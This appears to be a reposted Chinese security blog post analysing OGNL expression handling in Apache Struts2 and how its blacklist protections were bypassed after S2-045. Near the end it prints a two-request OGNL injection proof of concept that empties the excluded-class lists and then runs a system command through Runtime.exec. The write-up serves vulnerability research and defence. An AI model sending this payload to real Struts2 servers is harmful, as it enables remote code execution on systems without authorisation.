作者:Lucifaer
博客:https://www.lucifaer.com
在分析Struts2漏洞的過程中就一直想把OGNL的運行機制以及Struts2對OGNL的防護機制總結一下,但是一直苦於自己對Struts2的理解不是很深刻而遲遲無法動筆,最近看了lgtm的這篇文章收穫良多,就想在這篇文章的基礎上總結一下目前自己對於OGNL的一些理解,希望師傅們斧正。
0x01 OGNL與Struts2
1.1 root與context
OGNL中最需要理解清楚的是root
(根對象)、context
(上下文)。
root
:root可以理解為是一個java對象,表達式所規定的所有操作都是通過root來指定其對哪個對象進行操作。context
:context可以理解為對象運行的上下文環境,context以MAP的結構,利用鍵值對關係來描述對象中的屬性以及值。
Struts2框架使用了標準的命名上下文(naming context,我實在是不知道咋翻譯了-. -)來執行OGNL表達式。處理OGNL的最頂層對象是一個Map對象,通常稱這個Map對象為context map
或者context
。而OGNL的root
就在這個context map
中。在表達式中可以直接引用root對象的屬性,如果需要引用其他的對象,需要使用#標明。
框架將OGNL里的context
變成了我們的ActionContext
,將root
變成了valueStack
。Struts2將其他對象和valueStack
一起放在ActionContext
中,這些對象包括application
、session
、request context
的上下文映射。下面是一個圖例:
所以在S2-045時可使用的payload已經沒有辦法再使用了,需要構造新的利用方式。
文章提出了這麼一種思路:
- 沒有辦法使用
context.map
,可以調用attr
,前文說過attr
中保存着整個context
的變量與方法,可以通過attr
中的方法返回給我們一個context.map
。 - 沒有辦法直接調用
excludedClasses
,也就不能使用clear
方法來清空,但是還可以利用setter
來把excludedClasses
給設置成空 - 清空了黑名單,我們就可以利用
DefaultMemberAccess
來覆蓋_memberAccess
,來執行靜態方法了。
而這裡又會出現一個問題,當我們使用OgnlUtil
的setExcludedClasses
和setExcludedPackageNames
將黑名單置空時並非是對於源(全局的OgnlUtil)進行置空,也就是說_memberAccess
是源數據的一個引用,就像前文所說的,在每次createAction
時都是通過setOgnlUtil
利用全局的源數據創建一個引用,這個引用就是一個MemberAccess
對象,也就是_memberAccess
。所以這裡只會影響這次請求的OgnlUtil
而並未重新創建一個新的_memberAccess
對象,所以舊的_memberAccess
對象仍未改變。
而突破這種限制的方式就是再次發送一個請求,將上一次請求已經置空的OgnlUitl
作為源重新創建一個_memberAccess
,這樣在第二次請求中_memberAccess
就是黑名單被置空的情況,這個時候就釋放了DefaultMemberAccess
,就可以進行正常的覆蓋以及執行靜態方法。
poc為:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))
需要發送兩次請求:
转载请注明:IAMCOOL » 淺析 OGNL 的攻防史